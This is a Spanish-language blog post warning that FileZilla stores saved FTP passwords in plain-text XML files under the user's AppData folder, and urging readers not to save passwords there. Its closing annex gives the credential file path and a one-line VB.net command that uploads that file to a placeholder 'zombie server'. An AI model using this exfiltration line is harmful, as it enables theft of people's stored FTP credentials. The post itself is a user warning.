En esta ocasión os voy a exponer uno de los graves problemas que continúan existiendo en el cliente FTP más extendido en la actualidad.
Hablamos de FileZilla.
La gravedad del asunto padece que a los propios creadores del programa no les preocupa, la reconocen, dejan en manos del usuario la corrección, y no hacen nada para evitarlo.
Sepamos cual es el problema. Es necesario darlo a conocer.
Cuando usamos el programa para hacer un FTP, solemos almacenar los datos de configuración de la máquina.
Entre ellos: Dirección FTP, puerto, usuario, password. Pulsamos en botón, y voíla, estamos conectados.
Pero no nos hemos percatado de un grave problema.
La contraseña no se almacena cifrada, y no sólo eso, aquellas de todos los sitios que almacenes con el programa, quedarán expuestas.
Esa password queda reflejada en un fichero XML, perfectamente legible.
Cualquier troyano puede capturarlo o realizar una búsqueda a través del disco duro y enviarlo a un servidor externo.
El procedimiento más recomendable es este.
La ruta del archivo almacenado en formato plano sobre Windows 7, se encuentra en:
C:\Users\TU_USUARIO\AppData\Roaming\FileZilla
Dentro de esta carpeta se mostrarán una serie de archivos .xml y el sitemanager.xml , donde se almacenan las password sin cifrar.
En windows 8 se muestran en esta ruta, archivos ocultos por cierto.
Y repito, es relativamente fácil crear un programa que envíe estos ficheros a un servidor de Internet.
Por lo que nunca almacenéis las contraseñas en el FileZilla.
Los creadores de FileZilla, lo saben, pero su respuesta es que el cifrado debe ser realizado por cada usuario en función de su sistema operativo.
Esto es muy «bonito», pero les preguntaría una serie de cuestiones:
1- ¿Que usuario lo sabe?.
2- ¿Cómo el usuario lo hace?.
3- ¿Cuántos realmente lo harían?
4- Si fuese así, ¿dónde se almacenan esos ficheros?.
Que por cierto ellos ocultan, en una ruta no muy accesible. Poco conocida.
IMPORTANTE
Cualquier proceso, web con malware, programa no seguro que ejecutemos, acceso remoto o acceso a la máquina, podrá acceder a esta información y subirla a Internet en menos de 1 segundo.
Luego vendrán las consecuencias.
Aviso, tomad medidas, el FileZilla sigue sangrando …
ANEXO:
Subir un fichero en VB.net.
My.Computer.Network.UploadFile(«C:\Users\TU_USUARIO\AppData\Roaming\FileZilla\archivo.xml«, «http://www.servidorzombie.com/ficheros«)
